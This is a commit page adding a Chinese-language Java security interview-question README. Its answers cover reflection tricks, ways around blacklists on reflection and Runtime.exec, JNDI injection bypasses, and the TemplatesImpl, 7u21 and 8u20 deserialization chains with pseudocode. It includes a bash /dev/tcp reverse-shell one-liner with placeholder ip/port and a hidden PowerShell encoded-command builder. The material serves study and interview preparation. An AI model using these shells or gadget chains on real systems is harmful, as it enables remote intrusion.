Skip to content

Commit fa4669f

Browse files
committed
update
1 parent 3251e8a commit fa4669f

File tree

1 file changed

+214
-1
lines changed

1 file changed

+214
-1
lines changed

README.md

Lines changed: 214 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,217 @@
44

55
这是什么:Java安全研究与安全开发面试题总结
66

7-
为什么要做:帮助广大Java安全师傅顺利找到工作
7+
为什么要做:**帮助自己校招找到工作,同时帮助广大Java安全师傅顺利找到工作**
8+
9+
计划定期更新,从基础到各种实战问题,打造齐全的Java安全面试题库
10+
11+
最低难度★,最高难度★★★★★
12+
13+
14+
15+
作者技术水平水平,难免有错误之处,欢迎师傅们提出ISSUE和PR
16+
17+
18+
19+
## JDK
20+
21+
- Java反射做了什么事情(★)
22+
23+
反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果
24+
25+
26+
27+
- Java反射可以修改Final字段嘛(★★)
28+
29+
可以做到,参考以下代码
30+
31+
```java
32+
field.setAccessible(true);
33+
Field modifiersField = Field.class.getDeclaredField("modifiers");
34+
modifiersField.setAccessible(true);
35+
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
36+
field.set(null, newValue);
37+
```
38+
39+
40+
41+
- 传统的反射方法加入黑名单怎么绕(★★★)
42+
43+
可以使用的类和方法如下(参考三梦师傅)
44+
45+
```java
46+
ReflectUtil.forName
47+
BytecodeDescriptor
48+
ClassLoader.loadClass
49+
sun.reflect.misc.MethodUtil
50+
sun.reflect.misc.FieldUtil
51+
sun.reflect.misc.ConstructorUtil
52+
MethodAccessor.invoke
53+
JSClassLoader.invoke
54+
JSClassLoader.newInstance
55+
```
56+
57+
58+
59+
- Java中可以执行反弹shell的命令吗(★★)
60+
61+
可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64`
62+
63+
```shell
64+
bash -c {echo,base64的payload}|{base64,-d}|{bash,-i}
65+
```
66+
67+
针对`Powershell`应该使用以下的命令
68+
69+
```shell
70+
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64
71+
```
72+
73+
这个特殊的Base64和普通Base64不同,需要填充0,算法如下
74+
75+
```java
76+
public static String getPowershellCommand(String cmd) {
77+
char[] chars = cmd.toCharArray();
78+
List<Byte> temp = new ArrayList<>();
79+
for (char c : chars) {
80+
byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8);
81+
for (byte b : code) {
82+
temp.add(b);
83+
}
84+
temp.add((byte) 0);
85+
}
86+
byte[] result = new byte[temp.size()];
87+
for (int i = 0; i < temp.size(); i++) {
88+
result[i] = temp.get(i);
89+
}
90+
String data = Base64.getEncoder().encodeToString(result);
91+
String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ";
92+
return prefix + data;
93+
}
94+
```
95+
96+
97+
98+
- 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★)
99+
100+
其实这个问题有点类似`JSP Webshell`免杀
101+
102+
大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等)
103+
104+
105+
106+
- RMI和LDAP类型的JNDI注入分别在哪个版本限制(★)
107+
108+
RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性
109+
110+
LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性
111+
112+
113+
114+
- RMI和LDAP的限制版本分别可以怎样绕过(★★)
115+
116+
RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发
117+
118+
通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过
119+
120+
LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget`
121+
122+
123+
124+
- 谈谈TemplatesImpl这个类(★★)
125+
126+
这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用
127+
128+
一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的`defineClass`方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类,其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组,是被加载的字节码
129+
130+
通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法(getter)中调用了`newTransformer`方法,也是一个利用链
131+
132+
```text
133+
TemplatesImpl.getOutputProperties()
134+
TemplatesImpl.newTransformer()
135+
TemplatesImpl.getTransletInstance()
136+
TemplatesImpl.defineTransletClasses()
137+
ClassLoader.defineClass()
138+
Class.newInstance()
139+
```
140+
141+
142+
143+
- 了解BCEL ClassLoader吗(★)
144+
145+
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目
146+
147+
该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码
148+
149+
但是在Java 8u251之后该类从JDK中移除
150+
151+
152+
153+
- 谈谈7U21反序列化(★★★★★)
154+
155+
`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足
156+
157+
```java
158+
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
159+
```
160+
161+
所以这里需要用哈希碰撞,让下一个`key`的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法,两个`key`对象不相同是显而易见的
162+
163+
接下来的任务是找到一处能触发`equals`方法的地方
164+
165+
反射创建`AnnotationInvocationHandler`对象,传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过`InvocationHandler.invoke`方法,在`AnnotationInvocationHandler`这个`InvocationHandler``invoke`方法实现中如果遇到`equals`方法,会进入`equalsImpl`方法,其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用,通过`getOutputProperties`方法最终加载字节码导致RCE
166+
167+
关于7U21的伪代码如下
168+
169+
```java
170+
Object templates = Gadgets.createTemplatesImpl();
171+
String zeroHashCodeStr = "f5a5a608";
172+
HashMap map = new HashMap();
173+
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
174+
ctor.setAccessible(true);
175+
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
176+
Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
177+
LinkedHashSet set = new LinkedHashSet();
178+
set.add(templates);
179+
set.add(proxy);
180+
map.put(zeroHashCodeStr, templates);
181+
return set;
182+
```
183+
184+
结合调用链
185+
186+
```text
187+
LinkedHashSet.readObject()
188+
LinkedHashSet.add()/HashMap.put()
189+
Proxy(Templates).equals()
190+
AnnotationInvocationHandler.invoke()
191+
AnnotationInvocationHandler.equalsImpl()
192+
Method.invoke()
193+
...
194+
TemplatesImpl.getOutputProperties()
195+
```
196+
197+
可以看到伪代码最后在`map``put`了某个元素,这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的,跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的,累加每一个`Entry``key``value`计算得出的`hashcode`。通过一些运算,可以找到符合条件的碰撞值
198+
199+
200+
201+
- 谈谈8U20反序列化(★★★★★)
202+
203+
这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过)
204+
205+
`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续
206+
207+
所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据
208+
209+
210+
211+
- 了解缩小反序列化Payload的手段吗(★★★)
212+
213+
首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载
214+
215+
216+
217+
218+
219+
220+

0 commit comments

Comments
 (0)